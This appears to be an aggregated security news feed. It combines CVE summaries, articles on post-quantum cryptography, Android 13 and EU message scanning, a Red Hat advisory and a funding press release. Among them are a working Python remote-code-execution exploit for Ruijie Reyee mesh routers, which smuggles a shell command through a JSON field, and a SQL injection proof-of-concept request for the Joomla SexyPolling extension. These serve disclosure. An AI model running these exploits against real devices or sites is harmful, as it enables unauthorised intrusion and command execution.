Foxit PDF Reader and PDF Editor before 11.2.2 have a Type Confusion issue that causes a crash because of Unsigned32 mishandling during JavaScript execution.

CVE-2022-30557: Security Bulletins | Foxit Software

The technique, called store-now, decrypt later (SNDL), means organizations need to prepare now for post-quantum cryptography.

Although quantum computing is years away from commercial availability, business leaders, CIOs, and CISOs need to act now to prepare for the technology's inevitable ability to crack RSA-encrypted data. Failure to start adopting a post-quantum cryptography (PQC) strategy will put all existing encrypted data assets at risk of exposure, according to a stark warning from key technical cryptography experts issued on Wednesday.

A peer-reviewed paper chronicling that threat with a technical road map for transitioning to PQC appeared Wednesday in _Nature_, a leading journal for the science and technology communities.

The cybersecurity experts who wrote the paper, titled "Transitioning organizations to post-quantum cryptography," underscored the fact that when large and fault-tolerant (LFT) quantum computers become available, attackers will be able to use them to crack most existing public key crypto systems, including RSA and elliptic curve cryptography (ECC).

**SNDL Threat**

The paper points to three critical issues that the authors contend organizations must address. First is the existence of an active and critical threat called store-now, decrypt later (SNDL), a practice wherein attackers steal sensitive data and hold onto it with the intent of decrypting it once quantum computing becomes available.

Second, the authors warn that quantum computers will be able to break the most commonly relied on RSA and ECC to forge signatures. That would put at risk all SSL-based websites, zero-trust architectures, and cryptocurrencies, among other things, according to the authors.

And third, they highlight how the National Institute of Standards and Technology (NIST) is poised to select a set of PQC candidates that it will recommend as standards. Although the paper was written months ago before Wednesday's publication, NIST is poised to reveal the candidates within a few weeks and potentially sooner.

Dustin Moody, a NIST mathematician, confirmed the imminent announcement of the PQC algorithm candidates. Among cybersecurity standards, it is one of NIST's largest undertakings since developing Advanced Encryption Standard (AES) and Secure Hash Algorithm-3 (SHA-3). The new PQC standard will likely include more than one algorithm, Moody told Dark Reading.

"Security-wise, we want to make sure we're not putting all our eggs in one basket," Moody says. NIST is considering public key digital signatures as well as encryption or equivalently key establishment, Moody adds: "There will be at least one for each of these."

NIST's pending announcement was presaged by two directives last week from the Biden administration aimed at recognizing and addressing PQC.

**Impact on Existing Data Assets**

While the paper provides a detailed technical breakdown of PQC issues, it also aims to bring awareness of the implications of quantum computing for existing information assets and emphasize the need to develop a plan.

"For those organizations that have not started integrating PQC in their systems or even planning for it, we highly recommend starting their efforts now," the paper warns. "Those organizations and enterprises with sensitive data with time value exceeding five years should consider PQC immediately."

One of the co-authors of the paper is Jack Hidary, founder and CEO of Sandbox AQ, a software-as-a-service (SaaS) provider focused on bringing together quantum computing and artificial intelligence technology to address complex processing issues. The primary processing issue it is dedicated to is helping organizations understand the risk of quantum computing by identifying critical data assets that are encrypted and developing a strategy to protect them with the forthcoming PQC algorithms.

The first thing companies must do is undergo a discovery process to determine the value of all their data, particularly information that is encrypted. For example, a large pharmaceutical company could have IP for patented drugs that are worth billions of dollars per year in revenues and royalties. If that data were to end up in the wrong hands, it could render that IP worthless, Hidary warns.

"We realized that a white paper was necessary to give context to CISOs and to engineering teams and other leaders in the C-suite as to how this migration would occur," Hidary told Dark Reading. "And that's the motivation for this paper."

Hidary emphasizes that with SNDL, state-sponsored and independent attackers have already begun exfiltrating RSA encrypted data. "It's happening right now — they're storing that information, then they will decrypt in the future in a few years when they have additional computing power," he said. "That's the concern."

**PQC Attracts Powerful Friends**

Sandbox AQ may not be a well-known company today, having just come out of stealth mode. But it is a well-capitalized startup incubated by Google parent Alphabet, which spun out Sandbox AQ in March as a standalone company.

The company has a prominent advisory board consisting of former Google chairman and CEO Eric Schmidt, former U.S. Secretary of Defense Ashton Carter, former principal deputy director of National Intelligence Susan Gordon, and retired Admiral Mike Rogers, former Commander of the U.S. Cyber Command and a onetime director of the National Security Agency.

Before meeting with Hidary in January, Ernst & Young Americas cybersecurity lead David Burg said he knew PQC was an issue that his company would eventually have to address with its clients. But Burg acknowledges he was taken off guard over the need for EY to work on it with companies immediately.

"We left that meeting realizing that this is actually a problem set that our clients in the United States and around the world will need to deal with sooner than we thought," Burg says. The two companies formed a partnership to address the issue together.

**Protecting Health Information at Mount Sinai**

One of the clients EY is working with is the Mount Sinai Health System, which has 43,000 employees throughout its eight hospital campuses in the New York City area. Kristin Myers, who is Mount Sinai's CIO and dean of technology for its medical school, says cybersecurity is her No. 1 priority.

"In regard to quantum computing, the reality is that because of this innovation, it's going to be possible to decrypt data that is currently encrypted in the future," Myers says. "And as you can imagine for healthcare, an unauthorized disclosure of sensitive PHI \[personal health information\] would really impact patients, whether it happened now, five years from now, or beyond."

Myers says she signed up Mount Sinai with Sandbox AQ and will start conducting a review and inventory of all the encryption methods now in use. Sandbox AQ will then provide recommendations on how to move forward.

"We'll do a feasibility study of some of the products that we'll need to implement with them," she says. "This is going to be a multiyear journey with them, but just to be able to get started is going to be important for us."

Threat Actors Are Stealing Data Now to Decrypt When Quantum Computing Comes

With its latest mobile OS update, Google aims to simplify the adoption of Android’s protective features for users and developers alike.

For years, Android’s security and privacy teams have been wrestling the world’s most popular mobile operating system to make it more controllable and updatable while still being open source and easy to deploy. And while scams, malware, and rogue apps are still real threats, the debut of Android 13 at Google’s I/O developer’s conference on Wednesday feels less like triage mode and more like a logical iteration. As Charmaine D'Silva, Android’s director of product management puts it, “This is the release where we bring it all together.”

If anything, the big problem for Android security and privacy now is trying to get users, device makers, and developers to understand and be motivated to use a slew of new and recently released protective features. And after setting so many privacy and security initiatives in motion over the past few years, there's a huge amount for the Android team to maintain and try to get right at any given time.

“We will continue to go deeper, and that’s going to be a continued investment, but the challenge as you go deep is you end up fragmenting experiences, you end up actually confusing users unintentionally,” says Krish Vitaldevara, Android senior director of product management. “That’s a very hard problem to solve, and that’s what we’re going to solve with Android 13.”

Google Play Protect now scans about 125 billion apps per day on user devices to assess their behavior and attempt to identify security issues. And Google says that its Messages app now blocks 1.5 billion spam messages per month in an attempt to cut down on phishing and other scams that actually reach users. And after finally introducing end-to-end encryption in Messages last year for one-on-one texting with the long-awaited RCS messaging standard, Google says that later this year it will add end-to-end encryption in beta for group chats as well.

“We feel both excited and hopeful,” Jan Jedrzejowicz,  a Messages product manager tells WIRED. “Excited because providing out-of-box and encrypted-by-default group text messaging on Android is a huge upgrade for a large number of people all over the world. Hopeful because cross-platform messaging still uses SMS/MMS, and we really hope we can upgrade that to a more modern and encrypted protocol.”

Android 13 imposes more limitations and user controls for the permissions apps are granted and what data they can access when. For example, the operating system gives developers the option to easily incorporate Google’s “Photo picker” that lets users choose specific photos and videos to share with an app through the conduit of the picker, rather than granting the app access to their full photo library. Google has increasingly leaned on the system access that Android already has to provide specific data to apps, making it more like the bartender who’s mixing drinks than the cashier at the liquor store. Similarly, Android 13 now requires apps to request permission to access audio files, image files, and video files separately as part of an effort to limit access to different storage buckets.

Android already limited how much access apps had to the clipboard and notified users when an app grabbed something from it. But Android 13 adds another layer by automatically deleting whatever is in your clipboard after a short interval. This way, apps can’t find out old things that you copied, and—bonus—you’re less likely to inadvertently share your coworker’s list of reasons they hate your company with your boss. Android 13 also continues a process of reducing apps’ ability to require location sharing for things like enabling Wi-Fi. 

Android 13 requires new apps to ask permission before they can send you notifications. And the new release expands on a feature from Android 11 that automatically resets an app’s permissions once you haven’t used it for a long time. Since its debut, Google has extended the feature all the way back to devices running Android 6, and the operating system has now automatically reset more than 5 billion permissions, according to the company. This way, a game you don’t play anymore that had permission to access your microphone three years ago can’t still listen in. And Android 13 makes it easier for app developers to remove permissions proactively if they don’t want to retain access for longer than they absolutely need.

Making sure that Android devices around the world can get security updates has been a core hurdle for Google, since Android’s open source ethos allows any manufacturer to deploy its own version of the operating system. To improve the situation, the company has spent years investing in a framework called Google System Updates that breaks down the operating system into components and allows phone makers to directly send updates for the different modules through Google Play. There are now more than 30 of these components, and Android 13 adds ones for Bluetooth and ultra-wideband, the radio tech used at short range for things like radar.

Google is working to reduce common vulnerabilities that can show up in software by rewriting some crucial parts of the Android code base in more secure programming languages like Rust and creating defaults that nudge developers in a more secure direction with their own apps. The company has also worked to make its application programming interfaces more secure and has started offering a new service called Google Play SDK Index that provides some transparency into widely used software development kits, so developers can be more informed before they incorporate these third-party modules into their apps.

Similar to Apple’s iOS Privacy Labels, Android recently added a “Data Safety” field in Google Play to give users a sort of nutrition-fact label explaining how apps say they will handle your data. In practice, though, these types of disclosures aren’t always reliable, so Google is offering developers the option to have a third party independently validate their claims against an established mobile security standard. The process is still voluntary, though.

“We provide all these tools to developers to make their apps safer, but it’s important that they can actually prove that out and validate it through an independent third party, a set of labs testing against an established standard,” says Eugene Liderman, director of Android Security Strategy.

Android and Apple’s iOS have both been moving toward offering the ability to store government-issued identification. In Android 13, Google Wallet can now store such digital IDs and driver’s licenses, and Google says it’s working with both individual states in the United States and governments globally to add support this year.

With so much to focus on and refine, Android 13 attempts to take a sprawling situation and rein it in rather than letting it spin out of control. And Android's D'Silva says there's one release coming later this year that she's particularly looking forward to: a sort of safety center within Settings that will centralize privacy and security options in one location for users. An acknowledgment, perhaps, that it's all become too much for the average user to keep track of on their own.

Android 13 Tries to Make Privacy and Security a No-Brainer

Read access violation in the III_dequantize_sample function in mpglibDBL/layer3.c in mp3gain through 1.5.2-r2 allows remote attackers to cause a denial of service (application crash) or possibly have unspecified other impact, a different vulnerability than CVE-2017-9872. CVE-2017-14409, and CVE-2018-10778.

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CVE-2021-34085: mp3gain_vuln – Google Drive

Red Hat Security Advisory 2022-1861-01 - Maven is a software project management and comprehension tool. Based on the concept of a project object model, Maven can manage a project's build, reporting and documentation from a central piece of information.

-----BEGIN PGP SIGNED MESSAGE-----  
Hash: SHA256

====================================================================                     
Red Hat Security Advisory

Synopsis:          Moderate: maven:3.5 security update  
Advisory ID:       RHSA-2022:1861-01  
Product:           Red Hat Enterprise Linux  
Advisory URL:      https://access.redhat.com/errata/RHSA-2022:1861  
Issue date:        2022-05-10  
CVE Names:         CVE-2020-13956  
====================================================================  
1. Summary:

An update for the maven:3.5 module is now available for Red Hat Enterprise  
Linux 8.

Red Hat Product Security has rated this update as having a security impact  
of Moderate. A Common Vulnerability Scoring System (CVSS) base score, which  
gives a detailed severity rating, is available for each vulnerability from  
the CVE link(s) in the References section.

2. Relevant releases/architectures:

Red Hat Enterprise Linux AppStream (v. 8) - aarch64, noarch, ppc64le, s390x, x86_64

3. Description:

Maven is a software project management and comprehension tool. Based on the  
concept of a project object model (POM), Maven can manage a project's  
build, reporting and documentation from a central piece of information.

Security Fix(es):

* apache-httpclient: incorrect handling of malformed authority component in  
request URIs (CVE-2020-13956)

For more details about the security issue(s), including the impact, a CVSS  
score, acknowledgments, and other related information, refer to the CVE  
page(s) listed in the References section.

Additional Changes:

For detailed information on changes in this release, see the Red Hat  
Enterprise Linux 8.6 Release Notes linked from the References section.

4. Solution:

For details on how to apply this update, which includes the changes  
described in this advisory, refer to:

https://access.redhat.com/articles/11258

5. Bugs fixed (https://bugzilla.redhat.com/):

1886587 - CVE-2020-13956 apache-httpclient: incorrect handling of malformed authority component in request URIs

6. Package List:

Red Hat Enterprise Linux AppStream (v. 8):

Source:  
aopalliance-1.0-17.module+el8+2452+b359bfcd.src.rpm  
apache-commons-cli-1.4-4.module+el8+2452+b359bfcd.src.rpm  
apache-commons-codec-1.11-3.module+el8+2452+b359bfcd.src.rpm  
apache-commons-io-2.6-3.module+el8+2452+b359bfcd.src.rpm  
apache-commons-lang3-3.7-3.module+el8+2452+b359bfcd.src.rpm  
apache-commons-logging-1.2-13.module+el8+2452+b359bfcd.src.rpm  
atinject-1-28.20100611svn86.module+el8+2452+b359bfcd.src.rpm  
cdi-api-1.2-8.module+el8+2452+b359bfcd.src.rpm  
geronimo-annotation-1.0-23.module+el8+2452+b359bfcd.src.rpm  
glassfish-el-3.0.1-0.7.b08.module+el8+2452+b359bfcd.src.rpm  
google-guice-4.1-11.module+el8+2452+b359bfcd.src.rpm  
guava20-20.0-8.module+el8+2452+b359bfcd.src.rpm  
hawtjni-1.16-2.module+el8+2452+b359bfcd.src.rpm  
httpcomponents-client-4.5.5-5.module+el8.6.0+13298+7b5243c0.src.rpm  
httpcomponents-core-4.4.10-3.module+el8+2452+b359bfcd.src.rpm  
jansi-1.17.1-1.module+el8+2452+b359bfcd.src.rpm  
jansi-native-1.7-7.module+el8+2452+b359bfcd.src.rpm  
jboss-interceptors-1.2-api-1.0.0-8.module+el8+2452+b359bfcd.src.rpm  
jsoup-1.11.3-3.module+el8+2452+b359bfcd.src.rpm  
maven-3.5.4-5.module+el8+2452+b359bfcd.src.rpm  
maven-resolver-1.1.1-2.module+el8+2452+b359bfcd.src.rpm  
maven-shared-utils-3.2.1-0.1.module+el8+2452+b359bfcd.src.rpm  
maven-wagon-3.1.0-1.module+el8+2452+b359bfcd.src.rpm  
plexus-cipher-1.7-14.module+el8+2452+b359bfcd.src.rpm  
plexus-classworlds-2.5.2-9.module+el8+2452+b359bfcd.src.rpm  
plexus-containers-1.7.1-8.module+el8+2452+b359bfcd.src.rpm  
plexus-interpolation-1.22-9.module+el8+2452+b359bfcd.src.rpm  
plexus-sec-dispatcher-1.4-26.module+el8+2452+b359bfcd.src.rpm  
plexus-utils-3.1.0-3.module+el8+2452+b359bfcd.src.rpm  
sisu-0.3.3-6.module+el8+2452+b359bfcd.src.rpm  
slf4j-1.7.25-4.module+el8+2452+b359bfcd.src.rpm

aarch64:  
jansi-native-1.7-7.module+el8+2452+b359bfcd.aarch64.rpm

noarch:  
aopalliance-1.0-17.module+el8+2452+b359bfcd.noarch.rpm  
apache-commons-cli-1.4-4.module+el8+2452+b359bfcd.noarch.rpm  
apache-commons-codec-1.11-3.module+el8+2452+b359bfcd.noarch.rpm  
apache-commons-io-2.6-3.module+el8+2452+b359bfcd.noarch.rpm  
apache-commons-lang3-3.7-3.module+el8+2452+b359bfcd.noarch.rpm  
apache-commons-logging-1.2-13.module+el8+2452+b359bfcd.noarch.rpm  
atinject-1-28.20100611svn86.module+el8+2452+b359bfcd.noarch.rpm  
cdi-api-1.2-8.module+el8+2452+b359bfcd.noarch.rpm  
geronimo-annotation-1.0-23.module+el8+2452+b359bfcd.noarch.rpm  
glassfish-el-api-3.0.1-0.7.b08.module+el8+2452+b359bfcd.noarch.rpm  
google-guice-4.1-11.module+el8+2452+b359bfcd.noarch.rpm  
guava20-20.0-8.module+el8+2452+b359bfcd.noarch.rpm  
hawtjni-runtime-1.16-2.module+el8+2452+b359bfcd.noarch.rpm  
httpcomponents-client-4.5.5-5.module+el8.6.0+13298+7b5243c0.noarch.rpm  
httpcomponents-core-4.4.10-3.module+el8+2452+b359bfcd.noarch.rpm  
jansi-1.17.1-1.module+el8+2452+b359bfcd.noarch.rpm  
jboss-interceptors-1.2-api-1.0.0-8.module+el8+2452+b359bfcd.noarch.rpm  
jcl-over-slf4j-1.7.25-4.module+el8+2452+b359bfcd.noarch.rpm  
jsoup-1.11.3-3.module+el8+2452+b359bfcd.noarch.rpm  
maven-3.5.4-5.module+el8+2452+b359bfcd.noarch.rpm  
maven-lib-3.5.4-5.module+el8+2452+b359bfcd.noarch.rpm  
maven-resolver-api-1.1.1-2.module+el8+2452+b359bfcd.noarch.rpm  
maven-resolver-connector-basic-1.1.1-2.module+el8+2452+b359bfcd.noarch.rpm  
maven-resolver-impl-1.1.1-2.module+el8+2452+b359bfcd.noarch.rpm  
maven-resolver-spi-1.1.1-2.module+el8+2452+b359bfcd.noarch.rpm  
maven-resolver-transport-wagon-1.1.1-2.module+el8+2452+b359bfcd.noarch.rpm  
maven-resolver-util-1.1.1-2.module+el8+2452+b359bfcd.noarch.rpm  
maven-shared-utils-3.2.1-0.1.module+el8+2452+b359bfcd.noarch.rpm  
maven-wagon-file-3.1.0-1.module+el8+2452+b359bfcd.noarch.rpm  
maven-wagon-http-3.1.0-1.module+el8+2452+b359bfcd.noarch.rpm  
maven-wagon-http-shared-3.1.0-1.module+el8+2452+b359bfcd.noarch.rpm  
maven-wagon-provider-api-3.1.0-1.module+el8+2452+b359bfcd.noarch.rpm  
plexus-cipher-1.7-14.module+el8+2452+b359bfcd.noarch.rpm  
plexus-classworlds-2.5.2-9.module+el8+2452+b359bfcd.noarch.rpm  
plexus-containers-component-annotations-1.7.1-8.module+el8+2452+b359bfcd.noarch.rpm  
plexus-interpolation-1.22-9.module+el8+2452+b359bfcd.noarch.rpm  
plexus-sec-dispatcher-1.4-26.module+el8+2452+b359bfcd.noarch.rpm  
plexus-utils-3.1.0-3.module+el8+2452+b359bfcd.noarch.rpm  
sisu-inject-0.3.3-6.module+el8+2452+b359bfcd.noarch.rpm  
sisu-plexus-0.3.3-6.module+el8+2452+b359bfcd.noarch.rpm  
slf4j-1.7.25-4.module+el8+2452+b359bfcd.noarch.rpm

ppc64le:  
jansi-native-1.7-7.module+el8+2452+b359bfcd.ppc64le.rpm

s390x:  
jansi-native-1.7-7.module+el8+2452+b359bfcd.s390x.rpm

x86_64:  
jansi-native-1.7-7.module+el8+2452+b359bfcd.x86_64.rpm

These packages are GPG signed by Red Hat for security.  Our key and  
details on how to verify the signature are available from  
https://access.redhat.com/security/team/key/

7. References:

https://access.redhat.com/security/cve/CVE-2020-13956  
https://access.redhat.com/security/updates/classification/#moderate  
https://access.redhat.com/documentation/en-us/red_hat_enterprise_linux/8/html/8.6_release_notes/

8. Contact:

The Red Hat security contact is <secalert@redhat.com>. More contact  
details at https://access.redhat.com/security/team/contact/

Copyright 2022 Red Hat, Inc.  
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--  
RHSA-announce mailing list  
RHSA-announce@redhat.com  
https://listman.redhat.com/mailman/listinfo/rhsa-announce

Red Hat Security Advisory 2022-1861-01

Ruijie Reyee mesh routers with ReyeeOS version 1.55.1915 EW_3.0(1)B11P35 and EW_3.0(1)B11P55 suffer from a remote code execution vulnerability.

    # Exploit Title: Ruijie Reyee Mesh Router - Remote Code Execution (RCE) (Authenticated)# Google Dork: None# Date: November 1, 2021# Exploit Author: Minh Khoa of VSEC# Vendor Homepage: https://ruijienetworks.com# Software Link: https://www.ruijienetworks.com/resources/products/1896-1900# Version: ReyeeOS 1.55.1915 - EW_3.0(1)B11P35 and EW_3.0(1)B11P55# Tested on: Ruijie RG-EW1200, Ruijie RG-EW1200G PRO# CVE: CVE-2021-43164#!/usr/bin/python3import osimport sysimport timeimport requestsimport jsondef enc(PASS):    key   = "RjYkhwzx$2018!"    shell = "echo '{}' | openssl enc -aes-256-cbc -a -k '{}' -md md5 2>/dev/null".format(PASS, key)    return os.popen(shell).read().strip()try:    TARGET  = sys.argv[1]    USER    = sys.argv[2]    PASS    = sys.argv[3]    COMMAND = sys.argv[4]except Exception:    print("CVE-2021-43164 PoC")    print("Usage:   python3 exploit.py <target> <user> <pass> <command>")    print("Example: python3 exploit.py 192.168.110.1 admin password 'touch /tmp/pwned'")    sys.exit(1)endpoint = "http://{}/cgi-bin/luci/api/auth".format(TARGET)payload = {        "method": "login",        "params": {            "username": USER,            "password": enc(PASS),            "encry": True,            "time": int(time.time()),            "limit": False            }        }r = requests.post(endpoint, json=payload)sid = json.loads(r.text)["data"]["sid"]endpoint = "http://{}/cgi-bin/luci/api/wireless?auth={}".format(TARGET, sid)payload = {        "method": "updateVersion",        "params": {            "jsonparam": "'; {} #".format(COMMAND)            }        }r = requests.post(endpoint, json=payload)print(r.text)

Ruijie Reyee Mesh Router Remote Code Execution

Joomla SexyPolling version 2.1.7 suffers from a remote SQL injection vulnerability.

# Exploit Title: Joomla Plugin SexyPolling 2.1.7 - SQLi  
# Google Dork: intext:"Powered by Sexy Polling"  
# Date: 2022-02-08  
# Exploit Author: Wolfgang Hotwagner  
# Vendor Homepage: https://2glux.com/projects/sexypolling  
# Software Link: https://2glux.com/downloads/files/free/sexypolling_pack_2.1.7_2glux.com.zip  
# Version: all versions below version 2.1.8  
# Tested on: Debian Bullseye

SexyPolling SQL Injection

====================

| Identifier: | AIT-SA-20220208-01|  
| Target: | Sexy Polling ( Joomla Extension) |  
| Vendor: | 2glux |  
| Version: | all versions below version 2.1.8 |  
| CVE: | Not yet |  
| Accessibility: | Remote |  
| Severity: | Critical |  
| Author: | Wolfgang Hotwagner (AIT Austrian Institute of Technology) |

Summary

========

[Sexy Polling is a Joomla Extension for votes.](https://2glux.com/projects/sexypolling). In all versions below 2.1.8 an unauthenticated attacker could execute arbitrary SQL commands by sending crafted POST-parameters to poll.php.

Vulnerability Description

====================

In the vote.php file, the POST parameters min_date and max_date are insufficiently checked and sanitized. An attacker can use these parameters to send payloads for sql injections.

In lines 74 and 75 in the *site/vote.php* code, the parameters are assigned without being checked:

```  
$min_date_sent = isset($_POST['min_date']) ? $_POST['min_date'].' 00:00:00' : '';  
$max_date_sent = isset($_POST['max_date']) ? $_POST['max_date'].' 23:59:59' : '';  
```

These are later used unfiltered by the WHERE clause:

```  
$query_toal = "SELECT  
COUNT(sv.`id_answer`) total_count,  
MAX(sv.`date`) max_date,  
MIN(sv.`date`) min_date  
FROM  
`#__sexy_votes` sv  
JOIN  
`#__sexy_answers` sa ON sa.id_poll = '$polling_id'  
AND  
sa.published = '1'  
WHERE  
sv.`id_answer` = sa.id";

//if dates are sent, add them to query  
if ($min_date_sended != '' && $max_date_sended != '')  
$query_toal .= " AND sv.`date` >= '$min_date_sended' AND sv.`date` <= '$max_date_sended' ";  
```

Proof Of Concept

==============

To check a system for vulnerability, modify the POST request so that the min_date parameter contains a single apostrophe.

HTTP-Request:  
```  
POST /components/com_sexypolling/vote.php HTTP/1.1

Host: joomla-server.local  
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0  
Accept: application/json, text/javascript, */*; q=0.01  
Accept-Language: en-US,en;q=0.5  
Accept-Encoding: gzip, deflate  
Content-Type: application/x-www-form-urlencoded; charset=UTF-8  
X-Requested-With: XMLHttpRequest  
HTTP_X_REAL_IP: 1.1.1.1  
Content-Length: 193  
Origin: joomla-server.local  
Connection: close  
Referer: joomla-server.local/index.php/component/search/  
Cookie: 3f7d6b4d84916c70a46aaf5501d04983=iuddgl57g75v5gruopdqh0cgd6

polling_id=1&answer_id[]=3&dateformat=digits&min_date=2021-12-07'&max_date=2021-12-14&country_name=-&country_code=-&city_name=-&region_name=-&voting_period=24&ae9a061e2170d406fb817b9ec0c42918=1  
```

The HTTP-Resoonse contains a mysql error:

```  
HTTP/1.1 500 Internal Server Error  
Date: Wed, 15 Dec 2021 10:27:40 GMT  
Server: Apache/2.4.41 (Ubuntu)  
Set-Cookie: PHPSESSID=39p4ql2oj0b45opsf6p105tfcf; path=/  
Expires: Thu, 19 Nov 1981 08:52:00 GMT  
Cache-Control: no-cache  
Pragma: no-cache  
Set-Cookie: sexy_poll_1=1639564060; expires=Thu, 16-Dec-2021 10:27:40 GMT; Max-Age=86400; path=/  
Content-Length: 4768  
Connection: close  
Content-Type: application/json

<!DOCTYPE html>  
<html lang="en-gb" dir="ltr">  
<head>  
<meta charset="utf-8" />  
<title>Error: 1064 You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near '00:00:00' AND sv.`date` <= '2021-12-14 23:59:59'' at line 12</title>  
<meta name="viewport" content="width=device-width, initial-scale=1.0">  
<link href="https://fonts.googleapis.com/css?family=Open+Sans" rel="stylesheet" />  
```

Vulnerable Versions  
================  
All versions below version 2.1.8

Tested Versions  
=============  
Sexy Polling ( Joomla Extension) 2.1.7

Impact  
======  
An unauthenticated attacker could inject and execute SQL commands on the database.

Mitigation  
=========  
Sexy Polling 2.1.8 fixed that issue

Vendor Contact Timeline  
====================  
| 2021-12-14 | Unable to find a contact of the vendor |  
| 2021-12-15 | Contacting Joomla Security Strike Team |  
| 2021-12-29 | Answer from the Joomla Security Strike Team that they will investigate the problem. |  
| 2022-01-01 | Sexy Polling releases 2.1.8 |  
| 2022-04-08 | Public Disclosure |

*We would like to note that the communication about this issue was weak. The contact-form of the maintainer of sexy_polling was broken and there was no other contact published. The Joomla Security Strike Team let us know that they will investigate, but they did not send any updates about the progress.*

Advisory URL  
===========  
[https://www.ait.ac.at/ait-sa-20220208-01-sexypolling](https://www.ait.ac.at/ait-sa-20220208-01-sexypolling)

Joomla SexyPolling 2.1.7 SQL Injection

Founders Fund leads $100 million Series-C financing, gaining the email security startup unicorn status two years after its launch.

Redwood City, Calif., May 11, 2022 – Material Security, a company that can protect email accounts even after they have been compromised, today announced it has secured $100 million in Series-C funding at a valuation of $1.1 billion. The round is led by Founders Fund, with participation from previous backers Andreesen Horowitz, Silicon Valley solo capitalist Elad Gil and other high-profile individual tech investors, gaining the company unicorn status just two years after the official launch of its product suite. Material Security is also announcing new referenceable customers including Chubb, Compass, Roblox and Brex, to add to leading brands like Lyft, Mars, Databricks and DoorDash.

Founded by former Dropbox technologists in the wake of the 2016 Election Hack, Material Security is a pioneer of using “zero trust” security techniques to protect email. Its patented security technology is trusted by government agencies, media and manufacturing conglomerates, leading financial institutions, the most targeted companies in Silicon Valley, and high-profile personalities including billionaires and celebrities.

“The fundamental idea behind ‘zero trust’ is that it assumes a bad actor is going to find a way past the perimeter into your systems. But historically, email security has just focused on blocking suspicious messages,” said Ryan Noon, co-founder and CEO of Material Security. “Whether it’s a large global organization like News Corp. or a local health care provider, we are still seeing an overwhelming number of email and data security breaches occur on a regular basis. At Material, we begin with the assumption that a hacker is already in your email and limit the damage they can do.”

Material’s Leak Prevention feature, for example, automatically redacts sensitive content in email, keeping it safe in the event of a breach. Users can still access original messages via identity-protection apps that their company already uses. “Not all emails are created equal,” said Abhishek Agrawal, co-founder and CTO of Material Security. "Some messages are so critical that they deserve an extra layer of verification. But the way email works today is that it treats every message identically."

Bringing Material Security’s total investment to $166 million since its founding, this latest round of funding will be used to scale the company’s sales and marketing teams, extend the product into new areas (including a larger footprint in government) and expand internationally.

“As the U.S. government doubles down on ‘zero trust’ and organizations are increasingly vulnerable to cyber threats given geopolitical crises, Material Security is poised to minimize the risks associated with email hacks,” said Trae Stephens, partner at Founders Fund. “We are excited to partner with this innovative team at such a critical point in their growth trajectory.”

###

**About Material Security**

Material Security is taking a fresh approach to solving one of the most fundamental problems in security: protecting the data sitting in email. Material Security protects accounts even after they're compromised or harmful messages get through. It is entirely cloud-based, deploys in 30 minutes, and can be exclusively managed by the customer. Material Security was founded in 2017 and is headquartered in Redwood City. For more information visit www.material.security.

**About Founders Fund**

Founders Fund invests in the world’s most important and valuable companies across all geographies, sectors and stages. The firm’s partners have been founders and early funders of companies including PayPal, SpaceX, Palantir, Anduril, Airbnb, Stripe and Facebook. Founders Fund pursues a founder-friendly investment strategy, providing maximum support with minimum interference. More information is available at www.foundersfund.com.

Material Security Reaches $1.1 Billion Valuation for ‘Zero Trust’ Security on Microsoft and Google Email

Europe’s proposed child protection laws could undermine end-to-end encryption for billions of people.

All of your WhatsApp photos, iMessage texts, and Snapchat videos could be scanned to check for child sexual abuse images and videos under newly proposed European rules. The plans, experts warn, may undermine the end-to-end encryption that protects billions of messages sent every day and hamper people’s online privacy.

The European Commission today revealed long-awaited proposals aimed at tackling the huge volumes of child sexual abuse material, also known as CSAM, uploaded to the web each year. The proposed law creates a new EU Centre to deal with child abuse content and introduces obligations for tech companies to “detect, report, block and remove” CSAM from their platforms. The law, announced by Europe’s commissioner for home affairs, Ylva Johansson, says tech companies have failed to voluntarily remove abuse content, and it has been welcomed by child protection and safety groups.

Under the plans, tech companies—ranging from web hosting services to messaging platforms—can be ordered to “detect” both new and previously discovered CSAM, as well as potential instances of “grooming.” The detection could take place in chat messages, files uploaded to online services, or on websites that host abusive material. The plans echo an effort by Apple last year to scan photos on people’s iPhones for abusive content before it was uploaded to iCloud. Apple paused its efforts after a widespread backlash.

If passed, the European legislation would require tech companies to conduct risk assessments for their services to assess the levels of CSAM on their platforms and their existing prevention measures. If necessary, regulators or courts may then issue “detection orders” that say tech companies must start “installing and operating technologies” to detect CSAM. These detection orders would be issued for specific periods of time. The draft legislation doesn’t specify what technologies must be installed or how they will operate—these will be vetted by the new EU Centre—but says they should be used even when end-to-end encryption is in place.

The European proposal to scan people’s messages has been met with frustration from civil rights groups and security experts, who say it’s likely to undermine the end-to-end encryption that’s become the default on messaging apps such as iMessage, WhatsApp, and Signal. “Incredibly disappointing to see a proposed EU regulation on the internet fail to protect end-to-end encryption,” WhatsApp head Will Cathcart tweeted. “This proposal would force companies to scan every person's messages and put EU citizens' privacy and security at serious risk.” Any system that weakens end-to-end encryption could be abused or expanded to look for other types of content, researchers say.

“You either have E2EE or you don’t,” says Alan Woodward, a cybersecurity professor from the University of Surrey. End-to-end encryption protects people’s privacy and security by ensuring that only the sender and receiver of messages can see their content. For example, Meta, the owner of WhatsApp, doesn’t have any way to read your messages or mine their contents for data. The EU’s draft regulation says solutions shouldn’t weaken encryption and says it includes safeguards to ensure this doesn’t happen; however, it doesn’t give specifics for how this would work.

“That being so, there is only one logical solution: client-side scanning where the content is examined when it is decrypted on the user's device for them to view/read,” Woodward says. Last year, Apple announced it would introduce client-side scanning—scanning done on people’s iPhones rather than Apple’s servers—to check photos for known CSAM being uploaded to iCloud. The move sparked protests from civil rights groups and even Edward Snowden about the potential for surveillance, leading Apple to pause its plans a month after initially announcing them. (Apple declined to comment for this story.)

For tech companies, detecting CSAM on their platforms and scanning some communications is not new. Companies operating in the United States are required to report any CSAM they find or that is reported to them by users to the National Center for Missing and Exploited Children (NCMEC), a US-based nonprofit. More than 29 million reports, containing 39 million images and 44 million videos, were made to NCMEC last year alone. Under the new EU rules, the EU Centre will receive CSAM reports from tech companies.

“A lot of companies are not doing the detection today,” Johansson said in a press conference introducing the legislation. “This is not a proposal on encryption, this is a proposal on child sexual abuse material,” Johansson said, adding that the law is “not about reading communication” but detecting illegal abuse content.

